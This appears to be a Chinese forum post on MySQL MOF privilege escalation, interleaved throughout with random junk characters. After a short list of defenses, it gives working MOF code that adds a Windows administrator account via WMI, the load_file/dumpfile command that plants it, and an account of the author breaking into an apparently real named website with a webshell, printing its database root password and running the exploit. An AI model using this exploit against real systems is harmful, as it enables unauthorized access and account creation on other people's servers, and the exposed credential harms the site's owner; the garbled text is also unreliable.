Mysql mof扩展漏洞防范方法
/ ^6 Y+ t d8 }- X4 p, Z/ l0 ^3 n, J) Z
网上公开的一些利用代码:: V8 Q7 ]1 t. n9 U
9 ^4 N2 T# U, D$ f1 S, c; ^! \#pragma namespace(“\\\\.\\root\\subscription”)
6 _. C' X0 r% W g- j4 T# \$ c& d# d0 i0 }9 g( P/ C
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
8 a( s4 ?1 [2 [4 S( B: O/ T) l, T. Y8 l: p M$ K1 L, ^
' R8 F1 L/ Q: l; i4 i- h% o- p! D1 J, W# s/ o
- X" E- d6 ^8 |& Y, A
6 ~+ u$ C; c! J$ J
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
; C* z, x, Q; Q; h; H; {3 y从上面代码来看得出解决办法: m: }" F8 W7 u' g. R
S8 p& ^2 H" V: C1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
' w$ ^4 Y/ ^: }/ p6 u6 ~! [* i1 Q7 A
2、禁止使用”WScript.Shel”组件
% I* n0 L! X o& _, f% w0 V2 [4 S4 c% X4 Y3 h6 e! p
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER* {; Y: O* z+ n0 [
# c5 a$ Z0 x7 W7 _
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下& O. c; l. x8 ]: a! }; Y' Y
# ?9 I3 G1 r- m& r' c; J) ]
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
8 e5 G6 h2 M7 [* v" |& q# q$ E8 l9 _& P
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容9 o- H6 f" O' E8 ]7 H
+ b0 k H9 u M+ W# X+ D- s5 U: u8 x" e* a
看懂了后就开始练手吧" S6 Z" D* c8 W. v: S- n
[7 d4 b. r# I5 {& H% Q
http://www.webbmw.com/config/config_ucenter.php 一句话 a
9 V1 [6 B* J- M/ V# J: [) f1 O3 {/ I( R
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。! i' d! E$ s) c( `" {7 J% R( h& N8 e
2 I& B6 K% Y7 v8 h6 O. b于是直接用菜刀开搞
' A9 K. t4 A& J# t4 w' R" ]8 u9 o# G5 D- C5 J- v2 r! Z0 ^3 U
上马先
1 t/ s# |* X( r0 D
$ c0 z! w0 h6 J5 t+ `! \& v5 P既然有了那些账号 之类的 于是我们就执行吧……./ U, m. V$ p! Y# f+ P% U/ E
+ D4 t4 J. V+ |+ U' y
小小的说下& x) L. t1 f7 b
% {2 ^ {" P, u" M8 ?
在这里第1次执行未成功 原因未知& F- H0 s A" v1 R0 P. d# Y
+ C2 e4 s0 {- P: w- e: H; g我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。. W3 A& t6 s9 B" q# u: E
, y6 F2 v4 t+ [0 G% Z7 @
#pragma namespace(“\\\\.\\root\\subscription”); }; _! q" A* w' b, {% R
' i" C# [% y# s( y# Q( V& i* ^# [instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
; `4 k; L" W1 \5 n, {# J2 c3 ?- X! ^+ K' T) g
我是将文件放到C:\WINDOWS\temp\1.mof
3 \. E1 J* ^# V4 l6 |, p, E+ V' n: q! l' m9 b5 ^. D
所以我们就改下执行的代码$ Y$ d) q4 _! ^, V
; C2 D! v- m7 G1 C2 aselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;5 r+ s w( U/ f- D2 l% X
/ r" r2 C3 o2 `/ ^9 s! o9 ^' g4 t8 W1 \/ |* U
T6 T2 B" J' m+ q9 a: r
但是 你会发现账号还是没有躺在那里。。
* a2 y+ l5 l4 o. k: D) y, C4 \( i, t# i- T, D* J; y$ ?
于是我就感觉蛋疼
& ~9 l: T* `7 y0 M2 U4 S
' V- F3 }# ?2 ?6 M+ V7 ^4 ^就去一个一个去执行 但是执行到第2个 mysql时就成功了………2 V2 ?" w3 A% ]$ R6 H& R* T" h
9 e4 E; n% Z# C; y9 X* {' t+ c
/ g1 L+ B, W$ k' ~9 ?; i/ c0 g1 N+ `" [8 J2 I
但是其他库均不成功…( H9 P4 W- [1 W
# n. R; t( l2 T# x我就很费解呀 到底为什么不成功求大牛解答…/ _9 q5 k0 y' x# ^) A
( Q- E2 A; N9 r
: c( ?; u" d9 s7 r0 \
# l* m4 }& B7 \8 U) }5 e |